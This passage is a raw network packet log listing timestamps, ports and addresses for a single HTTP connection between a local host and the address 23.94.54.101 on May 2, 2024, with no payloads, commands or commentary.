May 2, 2024 17:39:46.771267891 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771284103 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771296024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771334887 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771348000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771375895 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771389961 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771401882 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771413088 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771424055 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771428108 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771436930 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771450996 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771477938 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771615028 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771651983 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771714926 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771716118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771744967 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771755934 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771784067 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771820068 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771831989 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771843910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771864891 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771878958 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771888971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771900892 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771939039 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771941900 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771979094 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772018909 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.772417068 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772429943 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772465944 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.772514105 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772653103 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772722960 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772759914 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.772831917 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772908926 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.772922993 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.772996902 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773040056 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773076057 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773113012 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773155928 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773317099 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773353100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773392916 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773411989 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773425102 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773464918 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773473024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773596048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773639917 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773685932 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773699045 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773775101 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773786068 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773859978 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773873091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773879051 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773931026 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.773953915 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773967028 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.773977995 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774005890 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774029970 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774043083 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774054050 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774065018 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774072886 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774095058 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774131060 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774143934 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774177074 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774194956 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774207115 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774216890 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774239063 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774245024 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774279118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774287939 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774311066 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774353027 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774353981 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774368048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774409056 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774413109 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774426937 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774447918 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774460077 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774463892 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774502039 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774523020 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774566889 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774579048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774595976 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774605036 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774624109 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774641037 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774647951 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774672031 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774689913 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774713039 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774725914 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774746895 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774754047 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774768114 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774791002 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774825096 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774837971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774868965 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774885893 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774899006 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774909973 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774935961 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.774964094 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774976969 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.774987936 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775015116 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775021076 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775033951 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775068998 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775078058 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775125027 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775136948 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775146961 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775171995 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775207043 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775219917 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775229931 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775243044 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775249958 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775268078 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775284052 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775296926 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775317907 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775333881 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775357008 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775378942 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775396109 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775403023 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775443077 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775460005 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775471926 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775485039 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775496006 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775512934 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775527000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775536060 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775538921 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775574923 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775590897 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775603056 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775641918 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775649071 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775665045 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775686979 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775707960 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775723934 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775763988 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775787115 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775890112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775902033 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775913000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775918961 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775932074 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775962114 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.775985003 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.775998116 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776009083 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776031017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776032925 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776052952 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776067972 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776072025 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776092052 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776122093 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776159048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776170969 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776196957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776201963 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776238918 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776396990 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776459932 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776473999 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776504993 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776540041 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776582003 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776616096 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776686907 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776724100 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776762962 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776776075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776799917 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776818991 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776875019 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776916027 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.776931047 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.776969910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.777010918 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.777014971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.777076960 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.777147055 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.781783104 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784605980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784626961 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784638882 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784671068 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784679890 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784688950 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784703016 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784713030 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784714937 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784749985 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784754038 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784778118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784821033 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784821987 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784884930 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784898996 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784924984 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.784926891 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784969091 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.784986973 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785001993 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785041094 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785042048 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785054922 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785093069 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785116911 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785135031 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785157919 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785177946 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785202980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785238981 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785255909 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785290956 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785336018 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785372019 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785446882 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785492897 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785516977 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785553932 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785567045 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785578966 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785592079 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785620928 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785644054 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785656929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785667896 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785691023 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785715103 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785761118 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785779953 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785794020 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785804987 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785834074 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785860062 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785907984 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.785928011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.785990953 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786036015 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786108971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786122084 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786155939 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786164999 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786187887 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786201954 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786233902 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786267996 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786282063 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786314964 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786318064 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786329031 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786371946 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786374092 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786386967 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786410093 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786425114 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786441088 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786472082 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786487103 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786564112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786576986 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786587954 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786600113 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786611080 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786617041 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786623955 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786634922 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786648035 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786657095 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786657095 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786688089 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786710024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786722898 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786732912 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786770105 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786782980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786799908 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786811113 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786834002 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786838055 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786865950 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786881924 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786916971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786956072 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.786958933 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.786973000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787017107 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.787041903 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787055016 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787082911 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.787154913 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787168026 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787223101 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787240028 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.787254095 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.787290096 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874403954 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874454975 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874500036 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874506950 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874521971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874572039 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874603033 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874666929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874703884 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874737978 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874751091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874789000 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874789000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874828100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874866009 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874875069 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874926090 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874938965 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.874963045 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.874994040 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875016928 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875037909 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875087976 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875128031 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.875180960 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.875224113 CEST	80	49161	23.94.54.101	192.168.2.22
